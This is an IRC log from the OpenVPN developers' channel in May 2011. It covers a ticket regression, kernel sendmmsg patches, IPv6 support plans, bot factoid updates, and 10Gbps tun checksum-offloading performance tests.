openvpn as well 10:21 <@dazo> so need to figure out that 10:27 -!- andj_afk is now known as andj 11:01 -!- andj is now known as andj_afk 11:21 -!- andj_afk is now known as andj 12:08 <@vpnHelper> RSS Update - tickets: #126: Cannot access Syspro 6.0 Server with 2.2RC or 2.2.0 <https://community.openvpn.net/openvpn/ticket/126> 12:10 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 12:15 <@dazo> cron2: https://community.openvpn.net/openvpn/ticket/126 ... can you please keep an eye on this one ... if it's true that it worked in 2.2-RC but not 2.2-RC2, then I'm wondering if this is caused by the wintap driver update ... git log v2.2-RC..v2.2-RC2 doesn't show anything else which might be a possible suspect 12:15 <@vpnHelper> Title: #126 (Cannot access Syspro 6.0 Server with 2.2RC or 2.2.0) – OpenVPN Community (at community.openvpn.net) 12:17 <@dazo> mattock: if it turns out that the user (^^^) is really running on Windows (which I suspect) ... could we try to build a special 2.2 version for him, with commit 0265cf3a6b646cc02a78cc3501dce77f99e81a5f reverted? .... just to be sure we're nailing the right commit 12:17 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 12:23 -!- andj is now known as andj_afk 12:25 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 12:25 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:29 <@dazo> jamesyonan: just a quick update from yesterdays discussion ... http://thread.gmane.org/gmane.linux.network/194102 ... acme pointed me to this patch today, and it was a pure coincidence ... so this patch will hopefully be merged into a future Linux kernel release 12:29 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 12:30 -!- andj_afk is now known as andj 12:31 <@jamesyonan> hey that's great 12:32 <@dazo> yeah, so both sendmmsg() and recvmmsg() will be useful for us .... just need to figure out how to do the readv() and writev() ... maybe we can contribute with a kernel patch implementing that, if needed 12:33 * dazo can probably ask acme to mentor him through such a task 12:33 <@jamesyonan> right 12:34 <@jamesyonan> that would be great 12:35 <@dazo> I'll have a closer look at this after I'm done with my current deadlines (got a realtime kernel to complete QA on within Friday) 12:38 <@dazo> jamesyonan: btw ... we got a forum post today, which is of some concert ... https://forums.openvpn.net/topic8044.html ... regarding performance issues on the Windows TUN/TAP driver most likely 12:38 <@vpnHelper> Title: OpenVPN Support Forum Client slow when cpu busy (i.e youtube) : Server Administration (at forums.openvpn.net) 12:40 <@jamesyonan> the windows tap driver hasn't substantively changed in years 12:40 <@dazo> yeah, I think cron2 did the biggest changes lately (adding IPv6 support) 12:41 <@dazo> I've asked d12fk (who does the openvpn-gui now), but he didn't feel he was capable of such a task ... so it basically narrows down to you, as I believe cron2 also don't feel too confident with Windows development 12:43 <@jamesyonan> I really don't consider myself much of a windows developer either 12:44 <@dazo> everyone who touches the Windows code parts in OpenVPN says that nowadays ;-) 12:44 <@jamesyonan> I don't see how anyone could be a good kernel-level windows developer unless they had access to windows source code 12:45 <@dazo> fair enough ... not sure what hardware vendors have access to when they write drivers .... 12:46 <@dazo> Maybe an alternative would be to look for some other more open source and actively developed tun/tap driver for Windows? 12:46 <@jamesyonan> does such a thing exist? 12:47 <@dazo> I dunno ... janjust also mentioned maybe using a virtual serial port instead, and let the openvpn code serve as ppp server to that serial device 12:48 <@dazo> but I'm not sure how that would work out ... sounds like yet another layer 12:49 <@jamesyonan> there's very little documentation on this sort of thing 12:49 <@dazo> that's what I feared :/ 12:51 * dazo need to run now 12:51 <@jamesyonan> one thing that would be great is if we could figure out how the windows DHCP client works, i.e. how does it set the TCP/IP properties of the tap driver. Then we could do it directly rather than essentially spoofing a DHCP server inside the TAP driver to do the same. 12:51 <@dazo> true 12:52 <@dazo> maybe announcing a kind of "bounty" on our websites and mailing lists could catch some windows developer to look into this 12:53 <@dazo> (unfortunately, my experience is that open source oriented Windows developers aren't so often easily found) 12:55 <@dazo> okay ... need to go now ... have a good day :) 12:55 -!- dazo is now known as dazo_afk 13:01 -!- andj is now known as andj_afk 14:08 -!- andj_afk is now known as andj 14:38 -!- andj is now known as andj_afk 14:48 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 276 seconds] 15:03 <+krzee> [10:51] <jamesyonan> one thing that would be great is if we could figure out how the windows DHCP client works, i.e. how does it set the TCP/IP properties of the tap driver. Then we could do it directly rather than essentially spoofing a DHCP server inside the TAP driver to do the same. 15:03 <+krzee> that sounds like an awesome idea 15:04 <+krzee> [10:46] <dazo> Maybe an alternative would be to look for some other more open source and actively developed tun/tap driver for Windows? 15:04 <+krzee> [10:46] <jamesyonan> does such a thing exist? 15:04 <+krzee> to my knowledge, no 15:04 <@jamesyonan> I've never seen any documentation for API methods to set TCP/IP properties of net adapters on windows 15:04 <@jamesyonan> so probably the DHCP client is using undocumented methods 15:05 <@jamesyonan> the "IP Helper API" has a lot of methods, but none that do this 15:05 <+krzee> might wanna try asking jpalmer in #openvpn if he has any ideas or contacts he could ask 15:06 <+krzee> notice his spoof 15:07 <+krzee> hes a cool guy, i did some telephone consultation for him on his very nice openvpn setup 15:07 <+krzee> if he can help he will 15:07 <@jamesyonan> is he a windows developer? 15:08 <+krzee> im not 100% sure, but i know he has worked directly with msft and apple 15:08 <+krzee> so even if he is not, he would likely know some msft devs 15:09 <+krzee> he'ld be my first attempt after google 15:09 <+krzee> ill ask him to join after i paste him some of this 15:09 <+krzee> he's idle right now, maybe out to lunch or something 15:09 <+krzee> its the middle of his work day 15:44 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 15:56 -!- trispace [~trispace@chello212017114137.18.11.vie.surfer.at] has joined #openvpn-devel 16:24 <@vpnHelper> RSS Update - tickets: #127: Updated manpage for --rport and --lport <https://community.openvpn.net/openvpn/ticket/127> 16:31 -!- trispace [~trispace@chello212017114137.18.11.vie.surfer.at] has quit [] --- Day changed Wed May 04 2011 00:41 -!- andj_afk is now known as andj 00:44 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 01:44 -!- andj is now known as andj_afk 01:48 < s7r> anybody here? 01:50 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:50 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:59 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:59 -!- mode/#openvpn-devel [+v krzie] by ChanServ 02:16 -!- s7r [~s7r@unaffiliated/s7r] has quit [Read error: Connection reset by peer] 02:17 -!- s7r [~s7r@82.137.9.140] has joined #openvpn-devel 02:17 -!- s7r [~s7r@82.137.9.140] has quit [Changing host] 02:17 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 02:40 < s7r> krzee: krzie 02:42 -!- dazo_afk is now known as dazo 02:43 <@dazo> s7r: I'm here 02:47 < s7r> oh dazo 02:48 < s7r> how are you 02:48 < s7r> hope everything is well with you 02:48 <@dazo> I'm good ... what's up? 02:48 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 02:48 < s7r> nothing really - just wanted to ask if the latest stable release openvpn includes full IPv6 support 02:48 <@dazo> s7r: krzee is living in the Caribbean, so he most often isn't responsive at this time of hour 02:49 <+krzie> hey 02:49 <@dazo> s7r: no, it does not. It will come in OpenVPN 2.3 02:49 <+krzie> this is true 02:49 <+krzie> got lucky =] 02:49 < s7r> what I wouldn't give to live in the caribbean at this moment:)) 02:49 <@dazo> krzie: you should be silent now :-P 02:49 <@dazo> you're making a fool out of me! 02:49 * krzie hides 02:49 <@dazo> heh :) 02:50 < s7r> so 2.2 can not do ipv6 connections 02:50 <+krzie> s7r 02:50 < s7r> we have to wait for 2.3 02:50 < s7r> thanks 02:50 <@dazo> s7r: the current stable openvpn only adds complete IPv6 support to the Windows TUN/TAP adapter 02:50 <@dazo> but not OpenVPN 02:51 < s7r> dazo: I fail to understandhow come it adds complete support to the adapter but not openvpn 02:51 <@dazo> s7r: you can do IPv6 with 2.2, but you need to configure everything manually with --up/--down scripts on the client 02:51 <+krzie> s7r, changing the adapter is kinda huge 02:51 <@dazo> s7r: the Windows TUN/TAP driver isn't a real part of the OpenVPN software ... that's two very different pieces 02:51 < s7r> here is what i am trying to do. my isp offers only ipv4 connetivity. i want to connect to openvpn server and have dual stack ipv4 and ipv6 via openvpn is it possible 02:52 <@dazo> Windows TUN/TAP is kind of like a virtual Ethernet NIC 02:52 < s7r> yes i know what it is but i thought it's a part of openvpn 02:52 <+krzie> !ipv6 02:52 < s7r> and it's not different 02:52 <@dazo> OpenVPN uses a virtual NIC (tun/tap device) and send that traffic over a UDP or TCP connection 02:53 <@dazo> it is separate, it's just the Windows installer of OpenVPN bundles this driver 02:53 < s7r> ah .. thanks didn't know this :D 02:53 < s7r> so .. what i asked above is possible ? (even with manually configured scripts) 02:54 <@dazo> it is possible ... but you need to write some suitable --up/--down scripts for your clients ... and you need to have the server prepared with IPv6 configs before starting the openvpn server 02:55 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 02:55 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 02:55 < s7r> sorry 02:55 <@dazo> however, that will be static IPv6 addresses for each client ... not possible for anything dynamic this way .... with openvpn 2.3, you can use --server-ipv6 to setup server provided dynamic addresses 02:55 < s7r> yes the server is a dual stack 02:56 < s7r> yes but openvpn 2.3 is a long time ahead ;D 02:56 <@dazo> If you want to try the coming 2.3 release ... you can pull down the git tree, and compile the master branch 02:56 <@dazo> all the pieces are in place there now 02:56 <@dazo> !git 02:56 <@vpnHelper> "git" is (#1) git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git, or (#2) Browse the git repository here: http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=summary, or (#3) See !git-doc how to use git 02:56 <@dazo> hmm I need to update that one :) 02:56 < s7r> 2.3 is available for testing ? 02:56 < s7r> is functional at this moment ? 02:57 <@dazo> I'm using a compile of the master branch daily on my laptop 02:57 <@dazo> no real issues found so far 02:57 <@dazo> with both IPv4 and IPv6 in use 02:57 <@dazo> (but I'm on Linux) 02:57 <@dazo> (no idea how Windows will work) 02:58 <@dazo> !forget git 02:58 <@vpnHelper> Error: 3 factoids have that key. Please specify which one to remove, or use * to designate all of them. 02:58 <@dazo> !forget git * 02:58 <@vpnHelper> Joo got it. 02:58 <@dazo> !learn git as For the stable git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn.git 02:58 <@vpnHelper> Joo got it. 02:58 <@dazo> !learn git as For the development git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git 02:58 <@vpnHelper> Joo got it. 02:59 < s7r> thanks dazo 02:59 <@dazo> !learn git as Browse the git repositories here: http://openvpn.git.sourceforge.net/git/gitweb-index.cgi 02:59 <@vpnHelper> Joo got it. 02:59 < s7r> :P 02:59 <@dazo> s7r: you're welcome :) 02:59 <@dazo> !learn git as See !git-doc how to use git 02:59 <@vpnHelper> Joo got it. 02:59 <@dazo> !git 02:59 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn.git, or (#2) For the development git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git, or (#3) Browse the git repositories here: http://openvpn.git.sourceforge.net/git/gitweb-index.cgi, or (#4) See !git-doc how to use git 03:00 <@dazo> !git-doc 03:00 <@vpnHelper> "git-doc" is For a good git documentation, see http://progit.org/book/ 03:01 <@dazo> !learn git-doc as For a very quick git crash course, see https://community.openvpn.net/openvpn/wiki/GitCrashCourse 03:01 <@vpnHelper> Joo got it. 03:02 <@dazo> !git-doc 03:02 <@vpnHelper> "git-doc" is (#1) For a good git documentation, see http://progit.org/book/, or (#2) For a very quick git crash course, see https://community.openvpn.net/openvpn/wiki/GitCrashCourse 03:02 <@dazo> !snapshots 03:02 <@vpnHelper> "snapshots" is (#1) weekly dev snapshots are available from ftp://ftp.secure-computing.net/pub/openvpn, or (#2) Weekly snapshots: ftp://ftp.secure-computing.net/pub/openvpn or ftp://ftp2.secure-computing.net/pub/openvpn 03:03 <@dazo> !forget snapshots * 03:03 <@vpnHelper> Joo got it. 03:03 <@dazo> !learn snapshots as weekly dev snapshots are available from ftp://ftp.secure-computing.net/pub/openvpn or ftp://ftp2.secure-computing.net/pub/openvpn 03:03 <@vpnHelper> Joo got it. 03:03 <@dazo> !meetings 03:03 <@vpnHelper> "meetings" is (#1) See https://community.openvpn.net/openvpn/wiki/IrcMeetings, or (#2) OpenVPN developers meetings are usually held on Thursdays @ 18:00 UTC. Ask mattock or dazo for latest info. Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 03:04 <@dazo> !factoids 03:04 <@dazo> !factoid 03:04 <@dazo> !git 03:04 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn.git, or (#2) For the development git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git, or (#3) Browse the git repositories here: http://openvpn.git.sourceforge.net/git/gitweb-index.cgi, or (#4) See !git-doc how to use git 03:05 * dazo believes he is satisfied with the updates now :) 03:13 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 03:16 < djc> so is there a high-level changelog for 2.2 yet? 03:19 <@mattock> djc: how high-level? 03:19 <@mattock> dazo probably knows best 03:19 <@dazo> djc: depend on what you mean with high-level ... from the whole scope of 2.1.4 to 2.2.0? 03:19 <@mattock> dazo: re: custom Windows installer: no problem, if it builds 03:20 <@mattock> https://community.openvpn.net/openvpn/ticket/126 03:20 <@dazo> djc: you have all the information in ChangeLog, split into all the beta and RC releases 03:20 <@vpnHelper> Title: #126 (Cannot access Syspro 6.0 Server with 2.2RC or 2.2.0) – OpenVPN Community (at community.openvpn.net) 03:21 < djc> dazo: yeah, 2.1.4-2.2.0 03:21 <@dazo> mattock: thx! I haven't heard much ... so if we don't hear anything more, we're forced to close it as "not enough information" ... I there is only one patch which *might* be the reason, but that sounds odd too 03:22 < djc> it would be nice to have a changelog with only features and bigger fixes, sorted by relevancy/popularity/something 03:22 <@dazo> djc: I'd probably recommend you to take the ./ChangeLog file and strip out the version information in between ... that's it basically :) 03:22 <@dazo> We need a ChangeLog editor! :) 03:22 <@dazo> (not 'editor' as in software, but a person who can do such work :)) 03:23 <@mattock> I think "major features in this release" kind of changelog would be nice 03:23 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 03:23 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host] 03:23 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 03:23 -!- mode/#openvpn-devel [+v janjust] by ChanServ 03:23 <@mattock> and pretty trivial to write 03:23 < djc> yeah, it shouldn't be too hard 03:23 <@mattock> ticket 126 is pretty sparse on details 03:24 <@dazo> djc: agreed ... but I'm not sure we really have the complete overview in the 2.2.0 release .... pulling in stuff from James often adds new features without us really knowing about it 03:24 < djc> i.e. I just want to know from you guys 5-10 things that are new & noteworthy in 2.2.0 03:24 <@mattock> hope the guy responds 03:24 * dazo scans the change log again 03:35 <+janjust> djc: 1) tons of bug fixes 2) better support for *BSD 3) TAP support for Solaris 4) IPv6 support in tunnelling mode (no IPv6 endpoints though) 5) http-proxy improvements (digest support, reject weak proxies) 6) --x509-username-field option 03:35 < djc> janjust: thanks :) 03:36 <@dazo> djc: http://www.fpaste.org/Dawf/ 03:36 <+janjust> dazo: I've got 2 machines running 2.6.33-7-rt now , connected to a 10Gbps switch 03:37 <@dazo> janjust: cool! from the sources I pointed you at? 03:37 < djc> dazo: perfect 03:37 <+janjust> yep dazo :) 03:38 <+janjust> dazo: one of the 'feature changes' mentioned is present in 2.1.3 already (--register-dns) 03:38 <@dazo> janjust: really neat! let me know if you stumble upon something, especially on the 10Gbps stack ... we're keen on getting that fixed ;-) 03:38 <+janjust> dazo: I ran 'perf' over the raw i/f and via the tunnel i/f 03:39 <@dazo> mm 03:39 <+janjust> raw: 6 Gbps (actually LOWER than using the 2.6.18 kernel) 03:39 <+janjust> tunnel: up to 3.6 Gbps (scales linearly with the -tun-mtu parameter) 03:39 <@dazo> probably because the ethernet kernel threads are running with wrong priorities and scheduler 03:40 <+janjust> perf report for the 'raw' iperf run shows that it spends most of its time doing 'copy_user_generic_string' 03:40 <@dazo> you're now running on a completely untuned setup ... a starting point for such tuning can be found in the 'rt-setup' package in the same directory as the kernel code 03:41 <+janjust> perf report for the 'tunnel' iperf run shows it spends most of its time in 'csum_partial_copy_generic' (both kernel calls) 03:41 <+janjust> which confirms my suspicion: the kernel is busy calculating TCP checksums 03:41 <@dazo> copy_user_* is usually for copying data from user-space to kernel space ... so that makes sense 03:41 <@dazo> yeah, looks so 03:41 <+janjust> which it does not have to do on the 'raw' i/f as the 1-0 Gbps card has TCP offloading 03:41 <@dazo> I'll give acme a heads up on this 03:42 <+janjust> I've got perf.data files for both; if he wants them I can put them on a website 03:42 <@dazo> janjust: this testing is really valuable! So thanks a lot! :) 03:42 <@dazo> janjust: yes, I think he would be very much interested in that 03:43 <+janjust> I'll update the wiki page with my 10 Gbps findings... seems the 1.3 limit is not really a hard limit 03:45 <@dazo> one big change from the RT kernel to the non-RT kernel is that all interrupts are threaded and have priority inheritance 03:46 <@dazo> so that can really make the scheduler prioritise urgent tasks more efficiently, if configured correctly ... generally, the performance drops somewhat when running a un-tuned RT kernel 03:46 <+janjust> I'm not too worried about the 8->6 Gbps performance drop ; we won't be using a RT kernel for these systems anyway 03:46 <@dazo> but it can improve if tuned properly, but then it will most probably work better only for the task it is tuned to do - other tasks will most likely still have a performance drop 03:47 <+janjust> hehe I should get paid for this crap ;) 03:47 <@dazo> yeah, the RT patch is for latency sensitive tasks ... so the average user won't use the RT kernel 03:47 <@dazo> lol 03:47 <@dazo> I thought you already got paid for doing it ;-) 03:47 <+janjust> lol 03:48 <+janjust> I can abuse these 2 10Gbps boxen today ; after that I have to give em up ; so if you can contact acme today I can do some more tests 03:49 <@dazo> He is living in Brazil, so he won't be up the next hour or two ... but if he can get access to the perf data, that'd be great 03:50 <+janjust> I'll save those anyways 03:50 <@dazo> When you have the URLs for me, I'll shoot him an e-mail with Cc to you ... so that you can see his thoughts 03:52 <@dazo> but the fact that the tun driver is lacking TCP checksum hardware offloading ... that will be a unsolvable task, unless the checksum function can be improved further 03:52 <+janjust> http://www.nikhef.nl/~janjust/openvpn/iperf-10gbps-plaintexttunnel.perf.gz 03:52 <+janjust> http://www.nikhef.nl/~janjust/openvpn/iperf-10gbps-raw.perf.gz 03:52 <@dazo> Perfect! Thanks a lot! 03:53 <+janjust> I'm wondering how bad it would be to disable TCP checksumming over a VPN link 03:54 <@dazo> It probably wouldn't be a bad thing ... after all, that is basically "redundant" in VPN 03:54 <+janjust> that's what I thought; the point is, I don't know if it's possible at all - you would have to disable it in the tun driver 03:54 <@dazo> yeah 03:57 <+janjust> 'ethtool -K tun0 tx on' does not do much :-( 03:58 <@dazo> most likely lacking support for that kind of tuning 04:00 <+janjust> I wouldn't be surprised... well, I've got other stuff to do (found an i7 laptop to test openvpn+openssl 1.0+aesni on) 04:00 <@dazo> lol :) enjoy! 04:09 <@dazo> janjust: root@host: ~# ethtool -k tun0 04:09 <@dazo> rx-checksumming: on 04:09 <@dazo> tx-checksumming: off 04:09 <+janjust> that's what I see as well; so receive checksum offloading is ON, whatever that may mean 04:09 <@dazo> janjust: maybe try 'ethtool -K tun0 rx off' 04:10 <@dazo> I'm reading the tun driver code now 04:10 <+janjust> tried it - no difference; remember that this is OFFloading, so turning this option ON means you're OFFloading 04:10 <@dazo> ahh, true 04:10 <+janjust> ethtool -k eth0 04:10 <@dazo> static int tun_set_rx_csum(struct net_device *dev, u32 data) 04:10 <+janjust> Offload parameters for eth0: 04:10 <+janjust> rx-checksumming: on 04:10 <+janjust> tx-checksumming: on 04:10 <+janjust> scatter-gather: on 04:10 <+janjust> tcp segmentation offload: on 04:10 <+janjust> udp fragmentation offload: off 04:10 -!- janjust was kicked from #openvpn-devel by vpnHelper [Flooding detected. Please use http://openvpn.pastebin.ca for posting logs or configs.] 04:11 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 04:11 -!- mode/#openvpn-devel [+v janjust] by ChanServ 04:11 <+janjust> lol; /KICK vpnHelper 04:12 <@dazo> heh :) 04:12 <@dazo> static int tun_set_rx_csum(struct net_device *dev, u32 data) 04:12 <@dazo> { 04:12 <@dazo> struct tun_struct *tun = netdev_priv(dev); 04:12 <@dazo> if (data) 04:12 <@dazo> tun->flags &= ~TUN_NOCHECKSUM; 04:12 <@dazo> else 04:12 <@dazo> tun->flags |= TUN_NOCHECKSUM; 04:12 <@dazo> return 0; 04:12 <@dazo> } 04:12 <@dazo> (if you avoid sending it as separate lines, it works better ;-) 04:13 <@dazo> janjust: this function is called when doing the '-K rx on/off', how I understand it ... so it flips a flag 04:13 <@dazo> I'm checking now how that TUN_NOCHECKSUM flag is used further 04:13 <+janjust> by default rx checksum offloading is ON; I already tried turning it off on both ends - no noticable difference in performance 04:13 -!- djc [~djc@gentoo/developer/djc] has left #openvpn-devel [] 04:13 <@dazo> grmbl 04:14 <@dazo> it might be it needs to be passed on further down the tcp/ip stack, but isn't then 04:24 <@dazo> janjust: 'csum_partial_copy_generic' ... seems to not be related to the networking layer at all ... it's only used in the arch sub-system 04:25 <@dazo> I'll need to talk more with acme about this ... there are some details I'm missing 04:34 <+janjust> dazo: I turned OFF checksumming on the 10Gbps cards (ethtool -K eth0 rx off tx off) 04:34 * dazo wonders how that changed things 04:34 <+janjust> iperf now reports 3.85 Gbps - pretty close to the 3.5 Gbps via the tun0 interface 04:35 <@dazo> which indicates the kernel does something instead 04:35 <@dazo> so it does the checksumming anyway ... -K is offloading only 04:35 <+janjust> and 'perf' now shows that we're spending most of our time in 'copy_user_generic_string' (18.5%) and 'csum_partial_copy_generic' (11.5%) 04:36 <@dazo> kernel checksumming is too slow :) 04:36 <+janjust> so it definitely seems related to the offloading of checksumming to the 10 Gbps i/f 04:36 <@dazo> agreed 04:36 <+janjust> well, the card is capable of doing 10 Gbps; the CPU runs "only* at 2.2 Ghz 04:37 <+janjust> but indeed, it would make sense to optimize (handcode assembly) the TCP checksumming in the kernel 07:16 <+ecrist> mattock: sent you email, another oddity in PWM 07:38 < Dark-Fx> TCP checksumming should occur on the hardware at those speeds 08:00 <+janjust> Dark-Fx: I was making a comparison between "raw" 10Gbps vs "tun" 10 Gbps 08:01 < Dark-Fx> Ah 08:01 <+janjust> raw is capable of doing 8+ Gbps (using iperf) because it does hardware checksumming; via tun it tops off at about 3.6 Gbps 08:01 <+janjust> mostly because the tun device does not do hardware checksumming :P ... if you turn OFF hardware checksumming on the "raw" device you get a similar performance hit 08:30 <@mattock> ecrist: ok 08:31 <@mattock> re: changelog, I would add the new Windows build system (which now works) 08:32 <@mattock> in 2.1.x it's not usable, except for building openvpn.exe 08:34 <@dazo> yeah, true 08:35 <@dazo> I in general avoided to mention anything related to building, except the fixes for making *BSD work better 10:16 -!- andj_afk is now known as andj 10:30 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 10:59 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 11:12 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 11:20 -!- andj is now known as andj_afk 11:25 -!- andj_afk is now known as andj 11:35 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 11:35 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 11:57 -!- andj is now known as andj_afk 12:28 -!- dazo is now known as dazo_afk 12:36 -!- trispace [~trispace@chello212017114137.18.11.vie.surfer.at] has joined #openvpn-devel 14:25 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 14:28 -!- andj_afk is now known as andj 15:03 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 15:09 -!- andj is now known as andj_afk 15:25 -!- trispace [~trispace@chello212017114137.18.11.vie.surfer.at] has quit [] 15:28 -!- andj_afk is now known as andj 15:41 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 15:42 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:42 -!- mode/#openvpn-devel [+v krzie] by ChanServ 16:11 -!- andj is now known as andj_afk --- Day changed Thu May 05 2011 00:05 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 00:36 -!- andj_afk is now known as andj 01:30 -!- andj is now known as andj_afk 03:26 -!- dazo_afk is now known as dazo 03:46 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 04:02 -!- mattock [~samuli@openvpn/corp/admin/mattock] has left #openvpn-devel [] 04:06 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:06 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:07 <@mattock> if we'll have a meeting today, I won't be able to attend... not very actively at least 04:07 <@mattock> I got a math exam tomorrow morning :D 04:08 <@dazo> so whatever you'll say will be equations then .... rather, lets skip the meeting this week :-P 04:09 <@dazo> mattock: do we have some download numbers for 2.2.0? ... just curious how it is 04:10 <@mattock> no clue... what if I'll check them next Monday (or maybe tomorrow afternoon) 04:10 <@mattock> (as usual, studying at the last moment) :P 04:13 <@dazo> of course, no stress :) 04:14 <@dazo> now get out of here, or I'll kick you out ;-) 04:29 -!- andj_afk is now known as andj 05:35 -!- andj is now known as andj_afk 06:16 <@mattock> dazo: hmm, good idea :D 06:16 <@mattock> ciao! 06:16 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 07:29 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 10:12 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 10:54 -!- andj_afk is now known as andj 11:55 -!- andj is now known as andj_afk 12:01 -!- patelx [~patel@openvpn/corp/admin/patel] has joined #openvpn-devel 12:01 -!- mode/#openvpn-devel [+o patelx] by ChanServ 12:31 <@dazo> !git 12:31 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn.git, or (#2) For the development git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git, or (#3) Browse the git repositories here: http://openvpn.git.sourceforge.net/git/gitweb-index.cgi, or (#4) See !git-doc how to use git 12:50 -!- dazo is now known as dazo_afk 13:34 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:34 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:58 -!- fred89cu [~ferar@64.254.252.178] has joined #openvpn-devel 13:59 < fred89cu> hi, is there a way to bypass the openvpn tunnel on the client side for packets coming from specific port? 14:02 <+ecrist> like what/ 14:02 <+ecrist> and you're in the wrong channel 14:15 <+krzie> i answered you yesterday 14:17 <+krzie> in the correct channel 14:17 <+krzie> it doesnt matter how many more times you ask the same question, your answer will remain the name 14:17 <+krzie> the same* 14:18 <+krzie> http://pastebin.com/05NgLShg 14:30 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 14:32 < fred89cu> krzie: this is the first time I ask this question, maybe another person, nevertheless can you provide that answer again? 14:33 < fred89cu> ok, read the answer 14:35 < fred89cu> that person he/she was from Sweden I guess, i'm writing from canada :) 14:35 < fred89cu> thanks 14:36 < fred89cu> krzie: you mentioned not possible even if I modified the openvpn original code? 14:42 <+ecrist> anything is possible if you rewrite the code 14:45 <+krzee> fred89cu, i can connect from any country i want too, i have seen enough people return asking the same questions that i dont fall for that :-p 14:45 <+krzee> but sure, if you rewrite openvpn it will do anything you want 14:46 <+krzee> you said "the openvpn tunnel" not "my custom re-write of openvpn" 14:46 < fred89cu> correct 14:47 < fred89cu> fine, can you then suggest where in the code I should try to achieve that? 14:48 <+ecrist> nope 14:49 <+ecrist> I suggest you try a firewall or other such software 14:49 < fred89cu> ok thanks 14:49 -!- fred89cu [~ferar@64.254.252.178] has quit [Quit: Leaving] 17:23 -!- raidz_ [~raidz@46-105-63-15.kimsufi.com] has quit [Ping timeout: 248 seconds] 20:41 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Ping timeout: 240 seconds] 21:43 -!- jamesyonan [~jamesyona@c-75-70-204-158.hsd1.co.comcast.net] has joined #openvpn-devel 21:43 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ --- Day changed Fri May 06 2011 00:13 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 00:38 -!- andj_afk is now known as andj 01:01 -!- andj is now known as andj_afk 01:11 -!- s7r [~s7r@unaffiliated/s7r] has quit [Read error: Connection reset by peer] 01:12 -!- s7r [~s7r@82.137.15.221] has joined #openvpn-devel 01:13 -!- s7r is now known as Guest73556 01:21 -!- Guest73556 [~s7r@82.137.15.221] has left #openvpn-devel [] 01:44 -!- dazo_afk is now known as dazo 02:24 <@dazo> jamesyonan: just saw that the sendmmsg() patch was accepted and applied to the David Miller's kernel tree ... which means it will probably be merged in upstream in the near future. If really lucky, it will hit the 2.6.40 merge window 02:24 <@jamesyonan> cool 02:25 <@jamesyonan> I guess one down three to go 02:30 <@dazo> heh :) yeah :) 02:31 <@dazo> jamesyonan: one question ... what do you think if the tun kernel module stops calculating TCP checksums on the tun/tap adapters ... would that cause any issues with openvpn or applications using openvpn tunnels? 02:32 <@jamesyonan> wouldn't the TCP checksum just be passed through? 02:32 <@dazo> janjust discovered that if turning off hardware tcp checksum calculation the performance on 10GB cards dropped to approx the same level as a plain text tunnel 02:32 <@dazo> (3.6Gbit on a realtime kernel) 02:33 